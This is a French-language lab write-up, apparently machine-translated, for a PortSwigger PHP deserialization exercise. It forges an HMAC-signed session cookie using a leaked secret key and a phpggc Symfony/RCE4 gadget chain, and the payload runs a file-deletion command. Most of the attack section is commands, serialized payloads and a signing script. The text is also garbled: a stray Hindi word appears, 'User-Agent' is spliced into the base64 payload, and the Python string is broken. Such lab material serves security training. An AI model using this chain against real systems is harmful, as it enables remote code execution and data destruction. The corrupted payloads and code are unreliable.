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# Désérialisation PHP avec une chaîne de gadgets préconstruite

Notes sur la désérialisation PHP avec une chaîne de gadgets préconstruite pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Exploitation de la désérialisation PHP avec une chaîne de gadgets préconstruite

Ce laboratoire utilise un mécanisme de session basé sur la sérialisation PHP avec une signature **cookie**. / L'application est basée sur un framework PHP actuel **framework**, sans accès au code स्रोत. / Malgré cela, la désérialisation non sécurisée peut être exploitée via des **chaînes de gadgets**.

Objectif : supprimer le `/home/carlos/morale.txt` fichier.

Identifiant fourni :

* **wiener : peter**

**Analyse du cookie de session**

Cookie intercepté (URL-encodé) :

{% code overflow="wrap" %}

```bash
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D
```

{% endcode %}

Après le décodage :

{% code overflow="wrap" %}

```json
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"}
```

{% endcode %}

Le cookie contient :

* `jeton` → Objet PHP sérialisé encodé en Base64
* `sig_hmac_sha1` → signature HMAC-SHA1 du jeton

`jeton` Décodage :

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vkv28qw11a7a77jr04s67laskri65fqz";}
```

{% endcode %}

**Identification de l'environnement**

De `phpinfo()`:

* **PHP 7.4**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02c2245826990b0eec3af946a5baf1961ceb9a76%2F%7BBDAE8E98-4396-43AE-90D3-827A7DD07C38%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Clé secrète** exposée :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-125fa3c69e46dd1fa35fe8016af0a2d0fb2da3c0%2F%7BC1856BB9-98A9-40D1-B35D-532990A9A9A7%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**clé secrète** : ara511gik1dqity8135f7o7zu7k3yx2j

**Framework Symfony 4.3.6**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5da761e76229f23900d90f6007f476e958ae4c9%2F%7BEDC8D019-D8E2-4B9B-AC31-3F770321C5B1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Sélectionner la chaîne de gadgets**

Liste des gadgets disponibles avec `phpggc`:

```bash
./phpggc -l
```

Symfony 4 permet l'utilisation des canaux **RCE**. / La chaîne sélectionnée :

```
Symfony/RCE4
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a58e2c9fb1b6d29d53a118dc7866fd9e76949cae%2Fimage%20(3099).png?alt=media" alt=""><figcaption></figcaption></figure>

**Génération de l'objet malveillant**

Commande utilisée :

```bash
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt'
```

Objet PHP sérialisé généré :

{% code overflow="wrap" %}

```json
O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}}
```

{% endcode %}

Encodage Base64 :

{% code overflow="wrap" %}

```bash
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```

{% endcode %}

**Calcul de la signature HMAC-SHA1**

Script Python utilisé :

```python
import hmac, hashlib

secret = b"ara511gik1dqity8135f7o7zu7k3yx2j"

token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT
oxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c
zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD
b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=
="

print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest())
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7565cf1eaac500838223dc1930c3b751ff093e90%2F%7BE910BCC1-45EA-4014-890C-DC19B3715AF1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Signature obtenue :

```
5270b838edbe7aec15da10cab298ac841d088c90
```

**Création finale du cookie**

JSON du cookie :

{% code overflow="wrap" %}

```json
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"}
```

{% endcode %}

Après l'encodage URL, le cookie est injecté dans la requête HTTP.

```bash
{"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"}
```

**Résultat**

Le cookie signé est accepté par l'application/ La chaîne de gadgets Symfony est exécutée/ Le `/home/carlos/morale.txt` fichier est supprimé


---

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